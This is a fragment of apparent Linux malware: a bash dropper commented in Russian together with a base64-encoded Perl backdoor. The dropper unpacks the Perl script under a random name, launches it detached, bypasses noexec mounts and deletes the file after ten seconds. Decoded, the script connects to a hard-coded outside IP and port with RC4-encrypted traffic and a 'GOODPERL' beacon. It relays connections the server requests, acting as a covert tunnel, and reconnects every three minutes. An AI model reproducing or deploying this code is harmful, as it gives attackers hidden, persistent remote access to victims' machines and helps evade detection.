Rkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_5be7439f() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODcnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7Cg